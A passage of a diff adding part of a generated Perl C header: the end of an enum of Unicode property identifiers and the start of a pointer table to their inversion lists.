+	PL_PHLI,
+	PL_PHLP,
+	PL_PHNX,
+	PL_PHONETICEXT,
+	PL_PHONETICEXTSUP,
+	PL_PI,
+	PL_PLAYINGCARDS,
+	PL_PO,
+	PL_POSIXALNUM,
+	PL_POSIXALPHA,
+	PL_POSIXBLANK,
+	PL_POSIXCNTRL,
+	PL_POSIXDIGIT,
+	PL_POSIXGRAPH,
+	PL_POSIXLOWER,
+	PL_POSIXPRINT,
+	PL_POSIXPUNCT,
+	PL_POSIXSPACE,
+	PL_POSIXUPPER,
+	PL_POSIXWORD,
+	PL_POSIXXDIGIT,
+	PL_PRTI,
+	PL_PS,
+	PL_PUA,
+	PL_QAAI,
+	PL_QMARK,
+	PL_RADICAL,
+	PL_RI,
+	PL_RJNG,
+	PL_RUMI,
+	PL_RUNR,
+	PL_S,
+	PL_SAMR,
+	PL_SARB,
+	PL_SAUR,
+	PL_SB__AT,
+	PL_SB__CL,
+	PL_SB__EX,
+	PL_SB__FO,
+	PL_SB__LE,
+	PL_SB__LO,
+	PL_SB__SC,
+	PL_SB__SE,
+	PL_SB__SP,
+	PL_SB__ST,
+	PL_SB__UP,
+	PL_SB__XX,
+	PL_SC,
+	PL_SC__ADLM,
+	PL_SC__ARAB,
+	PL_SC__ARMN,
+	PL_SC__BENG,
+	PL_SC__BOPO,
+	PL_SC__BUGI,
+	PL_SC__BUHD,
+	PL_SC__CAKM,
+	PL_SC__COPT,
+	PL_SC__CPRT,
+	PL_SC__CYRL,
+	PL_SC__DEVA,
+	PL_SC__DUPL,
+	PL_SC__GEOR,
+	PL_SC__GLAG,
+	PL_SC__GRAN,
+	PL_SC__GREK,
+	PL_SC__GUJR,
+	PL_SC__GURU,
+	PL_SC__HAN,
+	PL_SC__HANG,
+	PL_SC__HANO,
+	PL_SC__HIRA,
+	PL_SC__JAVA,
+	PL_SC__KALI,
+	PL_SC__KANA,
+	PL_SC__KHOJ,
+	PL_SC__KNDA,
+	PL_SC__KTHI,
+	PL_SC__LATN,
+	PL_SC__LIMB,
+	PL_SC__LINA,
+	PL_SC__LINB,
+	PL_SC__MAHJ,
+	PL_SC__MAND,
+	PL_SC__MANI,
+	PL_SC__MLYM,
+	PL_SC__MODI,
+	PL_SC__MONG,
+	PL_SC__MULT,
+	PL_SC__MYMR,
+	PL_SC__ORYA,
+	PL_SC__PERM,
+	PL_SC__PHAG,
+	PL_SC__PHLP,
+	PL_SC__QAAI,
+	PL_SC__SHRD,
+	PL_SC__SIND,
+	PL_SC__SINH,
+	PL_SC__SYLO,
+	PL_SC__SYRC,
+	PL_SC__TAGB,
+	PL_SC__TAKR,
+	PL_SC__TALE,
+	PL_SC__TAML,
+	PL_SC__TELU,
+	PL_SC__TGLG,
+	PL_SC__THAA,
+	PL_SC__TIRH,
+	PL_SC__YI,
+	PL_SC__ZYYY,
+	PL_SD,
+	PL_SGNW,
+	PL_SHAW,
+	PL_SHORTHANDFORMATCONTROLS,
+	PL_SHRD,
+	PL_SIDD,
+	PL_SIND,
+	PL_SINH,
+	PL_SINHALAARCHAICNUMBERS,
+	PL_SK,
+	PL_SM,
+	PL_SMALLFORMS,
+	PL_SO,
+	PL_SORA,
+	PL_SOYO,
+	PL_SPECIALS,
+	PL_STERM,
+	PL_SUND,
+	PL_SUNDANESESUP,
+	PL_SUPARROWSA,
+	PL_SUPARROWSB,
+	PL_SUPARROWSC,
+	PL_SUPERANDSUB,
+	PL_SUPMATHOPERATORS,
+	PL_SUPPUAA,
+	PL_SUPPUAB,
+	PL_SUPPUNCTUATION,
+	PL_SUPSYMBOLSANDPICTOGRAPHS,
+	PL_SUTTONSIGNWRITING,
+	PL_SYLO,
+	PL_SYRC,
+	PL_SYRIACSUP,
+	PL_TAGB,
+	PL_TAGS,
+	PL_TAIXUANJING,
+	PL_TAKR,
+	PL_TALE,
+	PL_TALU,
+	PL_TAML,
+	PL_TANG,
+	PL_TANGUTCOMPONENTS,
+	PL_TAVT,
+	PL_TELU,
+	PL_TERM,
+	PL_TFNG,
+	PL_TGLG,
+	PL_THAA,
+	PL_THAI,
+	PL_TIBT,
+	PL_TIRH,
+	PL_TRANSPORTANDMAP,
+	PL_UCAS,
+	PL_UCASEXT,
+	PL_UGAR,
+	PL_UIDEO,
+	PL_VAI,
+	PL_VEDICEXT,
+	PL_VERTICALFORMS,
+	PL_VERTSPACE,
+	PL_VO__R,
+	PL_VO__TR,
+	PL_VO__TU,
+	PL_VO__U,
+	PL_VS,
+	PL_VSSUP,
+	PL_WARA,
+	PL_WB__DQ,
+	PL_WB__EB,
+	PL_WB__EBG,
+	PL_WB__EX,
+	PL_WB__EXTEND,
+	PL_WB__FO,
+	PL_WB__GAZ,
+	PL_WB__KA,
+	PL_WB__LE,
+	PL_WB__MB,
+	PL_WB__ML,
+	PL_WB__MN,
+	PL_WB__NL,
+	PL_WB__NU,
+	PL_WB__SQ,
+	PL_WB__XX,
+	PL_XIDC,
+	PL_XIDS,
+	PL_XPEO,
+	PL_XPOSIXALNUM,
+	PL_XPOSIXALPHA,
+	PL_XPOSIXBLANK,
+	PL_XPOSIXCNTRL,
+	PL_XPOSIXDIGIT,
+	PL_XPOSIXGRAPH,
+	PL_XPOSIXLOWER,
+	PL_XPOSIXPRINT,
+	PL_XPOSIXPUNCT,
+	PL_XPOSIXSPACE,
+	PL_XPOSIXUPPER,
+	PL_XPOSIXWORD,
+	PL_XPOSIXXDIGIT,
+	PL_XSUX,
+	PL_YI,
+	PL_YIJING,
+	PL_YIRADICALS,
+	PL_YISYLLABLES,
+	PL_Z,
+	PL_ZANB,
+	PL_ZL,
+	PL_ZP,
+	PL_ZS,
+	PL_ZYYY,
+	PL_ZZZZ,
+	PL__PERL_ANY_FOLDS,
+	PL__PERL_CHARNAME_BEGIN,
+	PL__PERL_CHARNAME_CONTINUE,
+	PL__PERL_FOLDS_TO_MULTI_CHAR,
+	PL__PERL_IDCONT,
+	PL__PERL_IDSTART,
+	PL__PERL_PROBLEMATIC_LOCALE_FOLDEDS_START,
+	PL__PERL_PROBLEMATIC_LOCALE_FOLDS,
+	PL__PERL_QUOTEMETA
+} binary_invlist_enum;
+
+#define MAX_UNI_KEYWORD_INDEX PL__PERL_QUOTEMETA
+
+#endif	/* defined(PERL_IN_UNI_KEYWORDS_C) || defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+static const UV * const PL_uni_prop_ptrs[] = {
+	NULL,	/* Placeholder */
+	PL_ADLM_invlist,
+	PL_AEGEANNUMBERS_invlist,
+	PL_AGE__10_invlist,
+	PL_AGE__2_invlist,
+	PL_AGE__2_DOT_1_invlist,
+	PL_AGE__3_invlist,
+	PL_AGE__3_DOT_1_invlist,
+	PL_AGE__3_DOT_2_invlist,
+	PL_AGE__4_invlist,
+	PL_AGE__4_DOT_1_invlist,
+	PL_AGE__5_invlist,
+	PL_AGE__5_DOT_1_invlist,
+	PL_AGE__5_DOT_2_invlist,
+	PL_AGE__6_invlist,
+	PL_AGE__6_DOT_1_invlist,
+	PL_AGE__6_DOT_2_invlist,
+	PL_AGE__6_DOT_3_invlist,
+	PL_AGE__7_invlist,
+	PL_AGE__8_invlist,
+	PL_AGE__9_invlist,
+	PL_AGE__NA_invlist,
+	PL_AGHB_invlist,
+	PL_AHOM_invlist,
+	PL_ALCHEMICAL_invlist,
+	PL_ALL_invlist,
+	PL_ALPHABETICPF_invlist,
+	PL_ANCIENTGREEKMUSIC_invlist,
+	PL_ANCIENTGREEKNUMBERS_invlist,
+	PL_ANCIENTSYMBOLS_invlist,
+	PL_ANY_invlist,
+	PL_ARAB_invlist,
+	PL_ARABICEXTA_invlist,
+	PL_ARABICMATH_invlist,
+	PL_ARABICPFA_invlist,
+	PL_ARABICPFB_invlist,
+	PL_ARABICSUP_invlist,
+	PL_ARMI_invlist,
+	PL_ARMN_invlist,
+	PL_ARROWS_invlist,
+	PL_ASCII_invlist,
+	PL_ASSIGNED_invlist,
+	PL_AVST_invlist,
+	PL_BALI_invlist,
+	PL_BAMU_invlist,
+	PL_BAMUMSUP_invlist,
+	PL_BASS_invlist,
+	PL_BATK_invlist,
+	PL_BC__AL_invlist,
+	PL_BC__AN_invlist,
+	PL_BC__B_invlist,
+	PL_BC__BN_invlist,
+	PL_BC__CS_invlist,
+	PL_BC__EN_invlist,
+	PL_BC__ES_invlist,
+	PL_BC__ET_invlist,
+	PL_BC__FSI_invlist,
+	PL_BC__L_invlist,
+	PL_BC__LRE_invlist,
+	PL_BC__LRI_invlist,
+	PL_BC__LRO_invlist,
+	PL_BC__NSM_invlist,
+	PL_BC__ON_invlist,
+	PL_BC__PDF_invlist,
+	PL_BC__PDI_invlist,
+	PL_BC__R_invlist,
+	PL_BC__RLE_invlist,
+	PL_BC__RLI_invlist,
+	PL_BC__RLO_invlist,
+	PL_BC__S_invlist,
+	PL_BC__WS_invlist,
+	PL_BENG_invlist,
+	PL_BHKS_invlist,
+	PL_BIDIC_invlist,
+	PL_BIDIM_invlist,
+	PL_BLOCKELEMENTS_invlist,
+	PL_BOPO_invlist,
+	PL_BOPOMOFOEXT_invlist,
+	PL_BOXDRAWING_invlist,
+	PL_BPT__C_invlist,
+	PL_BPT__N_invlist,
+	PL_BPT__O_invlist,
+	PL_BRAH_invlist,
+	PL_BRAI_invlist,
+	PL_BUGI_invlist,
+	PL_BUHD_invlist,
+	PL_BYZANTINEMUSIC_invlist,
+	PL_C_invlist,
+	PL_CAKM_invlist,
+	PL_CANS_invlist,
+	PL_CARI_invlist,
+	PL_CASED_invlist,
+	PL_CCC__0_invlist,
+	PL_CCC__1_invlist,
+	PL_CCC__10_invlist,
+	PL_CCC__103_invlist,
+	PL_CCC__107_invlist,
+	PL_CCC__11_invlist,
+	PL_CCC__118_invlist,
+	PL_CCC__12_invlist,
+	PL_CCC__122_invlist,
+	PL_CCC__129_invlist,
+	PL_CCC__13_invlist,
+	PL_CCC__130_invlist,
+	PL_CCC__132_invlist,
+	PL_CCC__133_invlist,
+	PL_CCC__14_invlist,
+	PL_CCC__15_invlist,
+	PL_CCC__16_invlist,
+	PL_CCC__17_invlist,
+	PL_CCC__18_invlist,
+	PL_CCC__19_invlist,
+	PL_CCC__20_invlist,
+	PL_CCC__202_invlist,
+	PL_CCC__21_invlist,
+	PL_CCC__214_invlist,
+	PL_CCC__216_invlist,
+	PL_CCC__22_invlist,
+	PL_CCC__23_invlist,
+	PL_CCC__24_invlist,
+	PL_CCC__25_invlist,
+	PL_CCC__26_invlist,
+	PL_CCC__27_invlist,
+	PL_CCC__28_invlist,
+	PL_CCC__29_invlist,
+	PL_CCC__30_invlist,
+	PL_CCC__31_invlist,
+	PL_CCC__32_invlist,
+	PL_CCC__33_invlist,
+	PL_CCC__34_invlist,
+	PL_CCC__35_invlist,
+	PL_CCC__36_invlist,
+	PL_CCC__7_invlist,
+	PL_CCC__8_invlist,
+	PL_CCC__84_invlist,
+	PL_CCC__9_invlist,
+	PL_CCC__91_invlist,
+	PL_CCC__A_invlist,
+	PL_CCC__AL_invlist,
+	PL_CCC__AR_invlist,
+	PL_CCC__B_invlist,
+	PL_CCC__BL_invlist,
+	PL_CCC__BR_invlist,
+	PL_CCC__DA_invlist,
+	PL_CCC__DB_invlist,
+	PL_CCC__IS_invlist,
+	PL_CCC__L_invlist,
+	PL_CCC__R_invlist,
+	PL_CE_invlist,
+	PL_CF_invlist,
+	PL_CHAM_invlist,
+	PL_CHER_invlist,
+	PL_CHEROKEESUP_invlist,
+	PL_CI_invlist,
+	PL_CJK_invlist,
+	PL_CJKCOMPAT_invlist,
+	PL_CJKCOMPATFORMS_invlist,
+	PL_CJKCOMPATIDEOGRAPHS_invlist,
+	PL_CJKCOMPATIDEOGRAPHSSUP_invlist,
+	PL_CJKEXTA_invlist,
+	PL_CJKEXTB_invlist,
+	PL_CJKEXTC_invlist,
+	PL_CJKEXTD_invlist,
+	PL_CJKEXTE_invlist,
+	PL_CJKEXTF_invlist,
+	PL_CJKRADICALSSUP_invlist,
+	PL_CJKSTROKES_invlist,
+	PL_CJKSYMBOLS_invlist,
+	PL_CN_invlist,
+	PL_CO_invlist,
+	PL_COMPATJAMO_invlist,
+	PL_COMPEX_invlist,
+	PL_CONTROLPICTURES_invlist,
+	PL_COPT_invlist,
+	PL_COPTICEPACTNUMBERS_invlist,
+	PL_COUNTINGROD_invlist,
+	PL_CPRT_invlist,
+	PL_CS_invlist,
+	PL_CUNEIFORMNUMBERS_invlist,
+	PL_CURRENCYSYMBOLS_invlist,
+	PL_CWCF_invlist,
+	PL_CWCM_invlist,
+	PL_CWKCF_invlist,
+	PL_CWL_invlist,
+	PL_CWT_invlist,
+	PL_CWU_invlist,
+	PL_CYPRIOTSYLLABARY_invlist,
+	PL_CYRILLICEXTA_invlist,
+	PL_CYRILLICEXTB_invlist,
+	PL_CYRILLICEXTC_invlist,
+	PL_CYRILLICSUP_invlist,
+	PL_CYRL_invlist,
+	PL_DASH_invlist,
+	PL_DEP_invlist,
+	PL_DEVA_invlist,
+	PL_DEVANAGARIEXT_invlist,
+	PL_DI_invlist,
+	PL_DIA_invlist,
+	PL_DIACRITICALS_invlist,
+	PL_DIACRITICALSEXT_invlist,
+	PL_DIACRITICALSFORSYMBOLS_invlist,
+	PL_DIACRITICALSSUP_invlist,
+	PL_DINGBATS_invlist,
+	PL_DOMINO_invlist,
+	PL_DSRT_invlist,
+	PL_DT__CAN_invlist,
+	PL_DT__COM_invlist,
+	PL_DT__ENC_invlist,
+	PL_DT__FIN_invlist,
+	PL_DT__FONT_invlist,
+	PL_DT__FRA_invlist,
+	PL_DT__INIT_invlist,
+	PL_DT__ISO_invlist,
+	PL_DT__MED_invlist,
+	PL_DT__NAR_invlist,
+	PL_DT__NB_invlist,
+	PL_DT__NONCANON_invlist,
+	PL_DT__NONE_invlist,
+	PL_DT__SML_invlist,
+	PL_DT__SQR_invlist,
+	PL_DT__SUB_invlist,
+	PL_DT__SUP_invlist,
+	PL_DT__VERT_invlist,
+	PL_DUPL_invlist,
+	PL_EARLYDYNASTICCUNEIFORM_invlist,
+	PL_EA__A_invlist,
+	PL_EA__F_invlist,
+	PL_EA__H_invlist,
+	PL_EA__N_invlist,
+	PL_EA__NA_invlist,
+	PL_EA__W_invlist,
+	PL_EGYP_invlist,
+	PL_ELBA_invlist,
+	PL_EMOTICONS_invlist,
+	PL_ENCLOSEDALPHANUM_invlist,
+	PL_ENCLOSEDALPHANUMSUP_invlist,
+	PL_ENCLOSEDCJK_invlist,
+	PL_ENCLOSEDIDEOGRAPHICSUP_invlist,
+	PL_ETHI_invlist,
+	PL_ETHIOPICEXT_invlist,
+	PL_ETHIOPICEXTA_invlist,
+	PL_ETHIOPICSUP_invlist,
+	PL_EXT_invlist,
+	PL_GCB__CN_invlist,
+	PL_GCB__L_invlist,
+	PL_GCB__PP_invlist,
+	PL_GCB__SM_invlist,
+	PL_GCB__T_invlist,
+	PL_GCB__V_invlist,
+	PL_GCB__XX_invlist,
+	PL_GEOMETRICSHAPES_invlist,
+	PL_GEOMETRICSHAPESEXT_invlist,
+	PL_GEOR_invlist,
+	PL_GEORGIANSUP_invlist,
+	PL_GLAG_invlist,
+	PL_GLAGOLITICSUP_invlist,
+	PL_GONM_invlist,
+	PL_GOTH_invlist,
+	PL_GRAN_invlist,
+	PL_GRBASE_invlist,
+	PL_GREEKEXT_invlist,
+	PL_GREK_invlist,
+	PL_GREXT_invlist,
+	PL_GUJR_invlist,
+	PL_GURU_invlist,
+	PL_HALFANDFULLFORMS_invlist,
+	PL_HALFMARKS_invlist,
+	PL_HAN_invlist,
+	PL_HANG_invlist,
+	PL_HANO_invlist,
+	PL_HATR_invlist,
+	PL_HEBR_invlist,
+	PL_HIGHPUSURROGATES_invlist,
+	PL_HIGHSURROGATES_invlist,
+	PL_HIRA_invlist,
+	PL_HLUW_invlist,
+	PL_HMNG_invlist,
+	PL_HST__NA_invlist,
+	PL_HUNG_invlist,
+	PL_HYPHEN_invlist,
+	PL_IDC_invlist,
+	PL_IDEO_invlist,
+	PL_IDEOGRAPHICSYMBOLS_invlist,
+	PL_IDS_invlist,
+	PL_IDSB_invlist,
+	PL_IDST_invlist,
+	PL_INADLAM_invlist,
+	PL_INAHOM_invlist,
+	PL_INANATOLIANHIEROGLYPHS_invlist,
+	PL_INARABIC_invlist,
+	PL_INARMENIAN_invlist,
+	PL_INAVESTAN_invlist,
+	PL_INBALINESE_invlist,
+	PL_INBAMUM_invlist,
+	PL_INBASSAVAH_invlist,
+	PL_INBATAK_invlist,
+	PL_INBENGALI_invlist,
+	PL_INBHAIKSUKI_invlist,
+	PL_INBOPOMOFO_invlist,
+	PL_INBRAHMI_invlist,
+	PL_INBUGINESE_invlist,
+	PL_INBUHID_invlist,
+	PL_INCARIAN_invlist,
+	PL_INCAUCASIANALBANIAN_invlist,
+	PL_INCHAKMA_invlist,
+	PL_INCHAM_invlist,
+	PL_INCHEROKEE_invlist,
+	PL_INCOPTIC_invlist,
+	PL_INCUNEIFORM_invlist,
+	PL_INCYRILLIC_invlist,
+	PL_INDEVANAGARI_invlist,
+	PL_INDICNUMBERFORMS_invlist,
+	PL_INDUPLOYAN_invlist,
+	PL_INEGYPTIANHIEROGLYPHS_invlist,
+	PL_INELBASAN_invlist,
+	PL_INETHIOPIC_invlist,
+	PL_INGEORGIAN_invlist,
+	PL_INGLAGOLITIC_invlist,
+	PL_INGOTHIC_invlist,
+	PL_INGRANTHA_invlist,
+	PL_INGREEK_invlist,
+	PL_INGUJARATI_invlist,
+	PL_INGURMUKHI_invlist,
+	PL_INHANGUL_invlist,
+	PL_INHANUNOO_invlist,
+	PL_INHATRAN_invlist,
+	PL_INHEBREW_invlist,
+	PL_INHIRAGANA_invlist,
+	PL_INIDC_invlist,
+	PL_INIMPERIALARAMAIC_invlist,
+	PL_ININSCRIPTIONALPAHLAVI_invlist,
+	PL_ININSCRIPTIONALPARTHIAN_invlist,
+	PL_INJAVANESE_invlist,
+	PL_INKAITHI_invlist,
+	PL_INKANNADA_invlist,
+	PL_INKATAKANA_invlist,
+	PL_INKHAROSHTHI_invlist,
+	PL_INKHMER_invlist,
+	PL_INKHOJKI_invlist,
+	PL_INKHUDAWADI_invlist,
+	PL_INLAO_invlist,
+	PL_INLEPCHA_invlist,
+	PL_INLIMBU_invlist,
+	PL_INLINEARA_invlist,
+	PL_INLYCIAN_invlist,
+	PL_INLYDIAN_invlist,
+	PL_INMAHAJANI_invlist,
+	PL_INMALAYALAM_invlist,
+	PL_INMANDAIC_invlist,
+	PL_INMANICHAEAN_invlist,
+	PL_INMARCHEN_invlist,
+	PL_INMASARAMGONDI_invlist,
+	PL_INMEETEIMAYEK_invlist,
+	PL_INMENDEKIKAKUI_invlist,
+	PL_INMEROITICCURSIVE_invlist,
+	PL_INMIAO_invlist,
+	PL_INMODI_invlist,
+	PL_INMONGOLIAN_invlist,
+	PL_INMRO_invlist,
+	PL_INMULTANI_invlist,
+	PL_INMYANMAR_invlist,
+	PL_INNABATAEAN_invlist,
+	PL_INNEWA_invlist,
+	PL_INNEWTAILUE_invlist,
+	PL_INNKO_invlist,
+	PL_INNUSHU_invlist,
+	PL_INOGHAM_invlist,
+	PL_INOLDHUNGARIAN_invlist,
+	PL_INOLDITALIC_invlist,
+	PL_INOLDPERMIC_invlist,
+	PL_INOLDPERSIAN_invlist,
+	PL_INOLDTURKIC_invlist,
+	PL_INORIYA_invlist,
+	PL_INOSAGE_invlist,
+	PL_INOSMANYA_invlist,
+	PL_INPAHAWHHMONG_invlist,
+	PL_INPAUCINHAU_invlist,
+	PL_INPC__BOTTOM_invlist,
+	PL_INPC__BOTTOMANDLEFT_invlist,
+	PL_INPC__BOTTOMANDRIGHT_invlist,
+	PL_INPC__LEFT_invlist,
+	PL_INPC__LEFTANDRIGHT_invlist,
+	PL_INPC__NA_invlist,
+	PL_INPC__OVERSTRUCK_invlist,
+	PL_INPC__RIGHT_invlist,
+	PL_INPC__TOP_invlist,
+	PL_INPC__TOPANDBOTTOM_invlist,
+	PL_INPC__TOPANDBOTTOMANDRIGHT_invlist,
+	PL_INPC__TOPANDLEFT_invlist,
+	PL_INPC__TOPANDLEFTANDRIGHT_invlist,
+	PL_INPC__TOPANDRIGHT_invlist,
+	PL_INPHAGSPA_invlist,
+	PL_INPHOENICIAN_invlist,
+	PL_INPSALTERPAHLAVI_invlist,
+	PL_INPUNCTUATION_invlist,
+	PL_INREJANG_invlist,
+	PL_INRUNIC_invlist,
+	PL_INSAMARITAN_invlist,
+	PL_INSAURASHTRA_invlist,
+	PL_INSC__AVAGRAHA_invlist,
+	PL_INSC__BINDU_invlist,
+	PL_INSC__BRAHMIJOININGNUMBER_invlist,
+	PL_INSC__CANTILLATIONMARK_invlist,
+	PL_INSC__CONSONANT_invlist,
+	PL_INSC__CONSONANTDEAD_invlist,
+	PL_INSC__CONSONANTFINAL_invlist,
+	PL_INSC__CONSONANTHEADLETTER_invlist,
+	PL_INSC__CONSONANTKILLER_invlist,
+	PL_INSC__CONSONANTMEDIAL_invlist,
+	PL_INSC__CONSONANTPLACEHOLDER_invlist,
+	PL_INSC__CONSONANTPRECEDINGREPHA_invlist,
+	PL_INSC__CONSONANTPREFIXED_invlist,
+	PL_INSC__CONSONANTSUBJOINED_invlist,
+	PL_INSC__CONSONANTSUCCEEDINGREPHA_invlist,
+	PL_INSC__CONSONANTWITHSTACKER_invlist,
+	PL_INSC__GEMINATIONMARK_invlist,
+	PL_INSC__INVISIBLESTACKER_invlist,
+	PL_INSC__MODIFYINGLETTER_invlist,
+	PL_INSC__NONJOINER_invlist,
+	PL_INSC__NUKTA_invlist,
+	PL_INSC__NUMBER_invlist,
+	PL_INSC__NUMBERJOINER_invlist,
+	PL_INSC__OTHER_invlist,
+	PL_INSC__PUREKILLER_invlist,
+	PL_INSC__REGISTERSHIFTER_invlist,
+	PL_INSC__SYLLABLEMODIFIER_invlist,
+	PL_INSC__TONELETTER_invlist,
+	PL_INSC__TONEMARK_invlist,
+	PL_INSC__VIRAMA_invlist,
+	PL_INSC__VISARGA_invlist,
+	PL_INSC__VOWEL_invlist,
+	PL_INSC__VOWELDEPENDENT_invlist,
+	PL_INSC__VOWELINDEPENDENT_invlist,
+	PL_INSHARADA_invlist,
+	PL_INSIDDHAM_invlist,
+	PL_INSINHALA_invlist,
+	PL_INSORASOMPENG_invlist,
+	PL_INSOYOMBO_invlist,
+	PL_INSUNDANESE_invlist,
+	PL_INSYLOTINAGRI_invlist,
+	PL_INSYRIAC_invlist,
+	PL_INTAGALOG_invlist,
+	PL_INTAGBANWA_invlist,
+	PL_INTAILE_invlist,
+	PL_INTAITHAM_invlist,
+	PL_INTAIVIET_invlist,
+	PL_INTAKRI_invlist,
+	PL_INTAMIL_invlist,
+	PL_INTANGUT_invlist,
+	PL_INTELUGU_invlist,
+	PL_INTHAANA_invlist,
+	PL_INTHAI_invlist,
+	PL_INTIBETAN_invlist,
+	PL_INTIFINAGH_invlist,
+	PL_INTIRHUTA_invlist,
+	PL_INUGARITIC_invlist,
+	PL_INVAI_invlist,
+	PL_INVS_invlist,
+	PL_INWARANGCITI_invlist,
+	PL_INZANABAZARSQUARE_invlist,
+	PL_IN__10_invlist,
+	PL_IN__1_DOT_1_invlist,
+	PL_IN__2_invlist,
+	PL_IN__2_DOT_1_invlist,
+	PL_IN__3_invlist,
+	PL_IN__3_DOT_1_invlist,
+	PL_IN__3_DOT_2_invlist,
+	PL_IN__4_invlist,
+	PL_IN__4_DOT_1_invlist,
+	PL_IN__5_invlist,
+	PL_IN__5_DOT_1_invlist,
+	PL_IN__5_DOT_2_invlist,
+	PL_IN__6_invlist,
+	PL_IN__6_DOT_1_invlist,
+	PL_IN__6_DOT_2_invlist,
+	PL_IN__6_DOT_3_invlist,
+	PL_IN__7_invlist,
+	PL_IN__8_invlist,
+	PL_IN__9_invlist,
+	PL_IPAEXT_invlist,
+	PL_ITAL_invlist,
+	PL_JAMO_invlist,
+	PL_JAMOEXTA_invlist,
+	PL_JAMOEXTB_invlist,
+	PL_JAVA_invlist,
+	PL_JG__AFRICANFEH_invlist,
+	PL_JG__AFRICANNOON_invlist,
+	PL_JG__AFRICANQAF_invlist,
+	PL_JG__AIN_invlist,
+	PL_JG__ALAPH_invlist,
+	PL_JG__ALEF_invlist,
+	PL_JG__BEH_invlist,
+	PL_JG__BETH_invlist,
+	PL_JG__BURUSHASKIYEHBARREE_invlist,
+	PL_JG__DAL_invlist,
+	PL_JG__DALATHRISH_invlist,
+	PL_JG__E_invlist,
+	PL_JG__FARSIYEH_invlist,
+	PL_JG__FE_invlist,
+	PL_JG__FEH_invlist,
+	PL_JG__FINALSEMKATH_invlist,
+	PL_JG__GAF_invlist,
+	PL_JG__GAMAL_invlist,
+	PL_JG__HAH_invlist,
+	PL_JG__HAMZAONHEHGOAL_invlist,
+	PL_JG__HE_invlist,
+	PL_JG__HEH_invlist,
+	PL_JG__HEHGOAL_invlist,
+	PL_JG__HETH_invlist,
+	PL_JG__KAF_invlist,
+	PL_JG__KAPH_invlist,
+	PL_JG__KHAPH_invlist,
+	PL_JG__KNOTTEDHEH_invlist,
+	PL_JG__LAM_invlist,
+	PL_JG__LAMADH_invlist,
+	PL_JG__MALAYALAMBHA_invlist,
+	PL_JG__MALAYALAMJA_invlist,
+	PL_JG__MALAYALAMLLA_invlist,
+	PL_JG__MALAYALAMLLLA_invlist,
+	PL_JG__MALAYALAMNGA_invlist,
+	PL_JG__MALAYALAMNNA_invlist,
+	PL_JG__MALAYALAMNNNA_invlist,
+	PL_JG__MALAYALAMNYA_invlist,
+	PL_JG__MALAYALAMRA_invlist,
+	PL_JG__MALAYALAMSSA_invlist,
+	PL_JG__MALAYALAMTTA_invlist,
+	PL_JG__MANICHAEANALEPH_invlist,
+	PL_JG__MANICHAEANAYIN_invlist,
+	PL_JG__MANICHAEANBETH_invlist,
+	PL_JG__MANICHAEANDALETH_invlist,
+	PL_JG__MANICHAEANDHAMEDH_invlist,
+	PL_JG__MANICHAEANFIVE_invlist,
+	PL_JG__MANICHAEANGIMEL_invlist,
+	PL_JG__MANICHAEANHETH_invlist,
+	PL_JG__MANICHAEANHUNDRED_invlist,
+	PL_JG__MANICHAEANKAPH_invlist,
+	PL_JG__MANICHAEANLAMEDH_invlist,
+	PL_JG__MANICHAEANMEM_invlist,
+	PL_JG__MANICHAEANNUN_invlist,
+	PL_JG__MANICHAEANONE_invlist,
+	PL_JG__MANICHAEANPE_invlist,
+	PL_JG__MANICHAEANQOPH_invlist,
+	PL_JG__MANICHAEANRESH_invlist,
+	PL_JG__MANICHAEANSADHE_invlist,
+	PL_JG__MANICHAEANSAMEKH_invlist,
+	PL_JG__MANICHAEANTAW_invlist,
+	PL_JG__MANICHAEANTEN_invlist,
+	PL_JG__MANICHAEANTETH_invlist,
+	PL_JG__MANICHAEANTHAMEDH_invlist,
+	PL_JG__MANICHAEANTWENTY_invlist,
+	PL_JG__MANICHAEANWAW_invlist,
+	PL_JG__MANICHAEANYODH_invlist,
+	PL_JG__MANICHAEANZAYIN_invlist,
+	PL_JG__MEEM_invlist,
+	PL_JG__MIM_invlist,
+	PL_JG__NOJOININGGROUP_invlist,
+	PL_JG__NOON_invlist,
+	PL_JG__NUN_invlist,
+	PL_JG__NYA_invlist,
+	PL_JG__PE_invlist,
+	PL_JG__QAF_invlist,
+	PL_JG__QAPH_invlist,
+	PL_JG__REH_invlist,
+	PL_JG__REVERSEDPE_invlist,
+	PL_JG__ROHINGYAYEH_invlist,
+	PL_JG__SAD_invlist,
+	PL_JG__SADHE_invlist,
+	PL_JG__SEEN_invlist,
+	PL_JG__SEMKATH_invlist,
+	PL_JG__SHIN_invlist,
+	PL_JG__STRAIGHTWAW_invlist,
+	PL_JG__SWASHKAF_invlist,
+	PL_JG__SYRIACWAW_invlist,
+	PL_JG__TAH_invlist,
+	PL_JG__TAW_invlist,
+	PL_JG__TEHMARBUTA_invlist,
+	PL_JG__TETH_invlist,
+	PL_JG__WAW_invlist,
+	PL_JG__YEH_invlist,
+	PL_JG__YEHBARREE_invlist,
+	PL_JG__YEHWITHTAIL_invlist,
+	PL_JG__YUDH_invlist,
+	PL_JG__YUDHHE_invlist,
+	PL_JG__ZAIN_invlist,
+	PL_JG__ZHAIN_invlist,
+	PL_JOINC_invlist,
+	PL_JT__C_invlist,
+	PL_JT__D_invlist,
+	PL_JT__L_invlist,
+	PL_JT__R_invlist,
+	PL_JT__T_invlist,
+	PL_JT__U_invlist,
+	PL_KALI_invlist,
+	PL_KANA_invlist,
+	PL_KANAEXTA_invlist,
+	PL_KANASUP_invlist,
+	PL_KANBUN_invlist,
+	PL_KANGXI_invlist,
+	PL_KATAKANAEXT_invlist,
+	PL_KHAR_invlist,
+	PL_KHMERSYMBOLS_invlist,
+	PL_KHMR_invlist,
+	PL_KHOJ_invlist,
+	PL_KNDA_invlist,
+	PL_KTHI_invlist,
+	PL_L_invlist,
+	PL_LANA_invlist,
+	PL_LAO_invlist,
+	PL_LATIN1_invlist,
+	PL_LATINEXTA_invlist,
+	PL_LATINEXTADDITIONAL_invlist,
+	PL_LATINEXTB_invlist,
+	PL_LATINEXTC_invlist,
+	PL_LATINEXTD_invlist,
+	PL_LATINEXTE_invlist,
+	PL_LATN_invlist,
+	PL_LB__AI_invlist,
+	PL_LB__AL_invlist,
+	PL_LB__B2_invlist,
+	PL_LB__BA_invlist,
+	PL_LB__BB_invlist,
+	PL_LB__BK_invlist,
+	PL_LB__CB_invlist,
+	PL_LB__CJ_invlist,
+	PL_LB__CL_invlist,
+	PL_LB__CM_invlist,
+	PL_LB__CP_invlist,
+	PL_LB__CR_invlist,
+	PL_LB__EB_invlist,
+	PL_LB__EM_invlist,
